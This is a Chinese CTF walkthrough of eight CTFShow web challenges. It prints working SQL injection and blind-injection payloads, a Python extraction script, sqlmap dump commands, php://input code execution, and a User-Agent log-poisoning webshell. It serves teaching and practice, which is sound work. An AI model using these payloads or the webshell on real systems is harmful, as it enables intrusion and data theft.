CTFShow Web入门实战:从签到题到SQL注入,手把手带你复现8个经典靶场
2026/6/20 11:03:54 网站建设 项目流程

CTFShow Web入门实战:从签到题到SQL注入的8个经典靶场复现指南

当你第一次接触CTF竞赛时,Web安全题目往往是最容易上手的切入点。CTFShow平台提供了一系列精心设计的Web题目,从最简单的签到题到需要复杂绕过的SQL注入,形成了一个循序渐进的学习路径。本文将带你一步步复现8个经典靶场,不仅告诉你"怎么做",更重要的是解释"为什么这么做"。

1. 初识CTFShow:Web签到题(web1)

任何CTF之旅都从签到题开始。web1作为最简单的入门题目,主要考察基础的页面审查能力。打开题目页面后,你会发现页面上似乎没有任何有用信息。

解决步骤:

  1. 在浏览器中右键点击页面,选择"检查"或直接按F12打开开发者工具
  2. 切换到"元素"或"Elements"标签页
  3. 仔细查看HTML源码,特别是注释部分

提示:现代Web开发中,开发者经常会在HTML中添加注释作为提示或调试信息

在源码中你会发现类似这样的注释:

<!-- flag is: ctfshow{19bdf375-f974-481e-8c62-0f4c3d170fb4} -->

这个题目教会我们:永远先查看页面源码。很多初级题目都会把flag直接放在HTML注释中。

2. 基础SQL注入实战(web2)

web2题目引入了第一个真正的安全漏洞:SQL注入。这是一个典型的登录绕过场景,你需要不通过密码验证就能获取访问权限。

2.1 理解漏洞原理

SQL注入发生在应用程序将用户输入直接拼接到SQL查询中。例如:

$sql = "SELECT * FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";

当用户输入特殊构造的字符串时,可以改变原始SQL的语义。

2.2 构造注入payload

尝试在用户名输入框中输入:

' or 1=1#

这个payload的工作原理:

  • 单引号'闭合前面的字符串
  • or 1=1使条件永远为真
  • #注释掉后面的SQL语句

关键点解析:

  • 为什么使用#而不是--?在MySQL中,#是行注释,而--需要后面跟一个空格
  • 1=1是布尔表达式,永远返回true

2.3 进阶信息获取

登录后,我们可以进一步获取数据库信息:

  1. 确定列数:
' or 1=1 order by 4# // 测试列数,直到不报错
  1. 获取数据库名:
' or 1=1 union select 1,database(),3#
  1. 获取表名:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3#
  1. 获取flag:
' or 1=1 union select 1,(select flag from flag limit 0,1),3#

3. 文件包含漏洞利用(web3)

web3题目引入了文件包含漏洞,这是PHP应用中常见的安全问题。

3.1 理解文件包含

PHP的includerequire等函数如果使用用户可控的参数,可能导致任意文件包含。题目中可能使用类似这样的代码:

include($_GET['file']);

3.2 利用php://input协议

尝试使用php伪协议读取输入:

?file=php://input

然后在POST body中发送:

<?php system("ls"); ?>

为什么有效?

  • php://input允许读取原始的POST数据
  • 当被包含时,POST数据会被当作PHP代码执行

3.3 获取flag

找到flag文件后,可以直接读取:

<?php echo file_get_contents("/path/to/flag"); ?>

4. 日志文件包含与RCE(web4)

web4是web3的进阶版,增加了过滤条件。我们需要利用服务器日志文件实现RCE。

4.1 发现日志文件路径

首先尝试访问常见的日志路径:

?url=/var/log/nginx/access.log

4.2 污染日志文件

通过User-Agent注入PHP代码:

GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?>

4.3 执行系统命令

包含被污染的日志文件后,就可以执行任意命令:

?url=/var/log/nginx/access.log&cmd=ls

5. 代码审计与MD5绕过(web5)

web5需要审计给出的PHP代码,找到逻辑漏洞。

5.1 分析源代码

关键代码片段:

if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; }

5.2 理解要求

  1. v1必须全是字母
  2. v2必须全是数字
  3. md5(v1)md5(v2)必须相等

5.3 利用PHP弱类型比较

PHP的==比较会进行类型转换。我们可以利用MD5哈希以"0e"开头的特殊值:

有效payload组合:

  • v1=EEIZDOI
  • v2=4011627063

验证它们的MD5:

MD5("EEIZDOI") = "0e782601363539291779881938479162" MD5("4011627063") = "0e485805687034439905938362701775"

在PHP中,这两个字符串都会被当作科学计数法的0,因此相等。

6. SQL注入空格绕过(web6)

web6在web2的基础上增加了空格过滤,我们需要找到替代方案。

6.1 理解过滤机制

题目可能使用类似这样的过滤:

$input = str_replace(' ', '', $input);

6.2 使用注释替代空格

在SQL中,/**/可以作为空格的替代:

1'/**/union/**/select/**/1,2,3#

6.3 完整注入流程

  1. 确定注入点:
1'/**/or/**/1=1#
  1. 获取数据库信息:
1'/**/union/**/select/**/1,database(),3#
  1. 获取flag:
1'/**/union/**/select/**/1,flag,3/**/from/**/flag#

7. 自动化工具sqlmap使用(web7)

web7适合使用自动化工具sqlmap来完成,这也是实际渗透测试中常用的方法。

7.1 基本探测命令

sqlmap -u "http://target.com/?id=1" --batch --dbs

7.2 指定tamper脚本绕过过滤

sqlmap -u "http://target.com/?id=1" --tamper=space2comment --batch -D web7 -T flag --dump

常用tamper脚本:

  • space2comment:用/**/替换空格
  • between:用BETWEEN替换大于号
  • randomcase:随机大小写

7.3 获取flag

sqlmap会自动识别注入点并获取flag,这是效率最高的方法。

8. 布尔盲注实战(web8)

web8是最具挑战性的布尔盲注题目,页面不会有直接的回显,只能通过页面差异判断。

8.1 理解盲注原理

盲注时,我们需要构造条件查询,根据页面反应判断条件真假:

1' and (select ascii(substr(database(),1,1)))>100#

8.2 自动化脚本示例

import requests url = "http://target.com/?id=1" flag = "" for i in range(1,50): low = 32 high = 126 while low <= high: mid = (low + high) // 2 payload = f"1' and (select ascii(substr((select flag from flag),{i},1)))>{mid}#" r = requests.get(url + payload) if "some condition" in r.text: low = mid + 1 else: high = mid - 1 flag += chr(low) print(flag)

8.3 优化技巧

  • 使用二分查找提高效率
  • 注意请求频率,避免被封禁
  • 缓存已确定的结果,节省时间

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询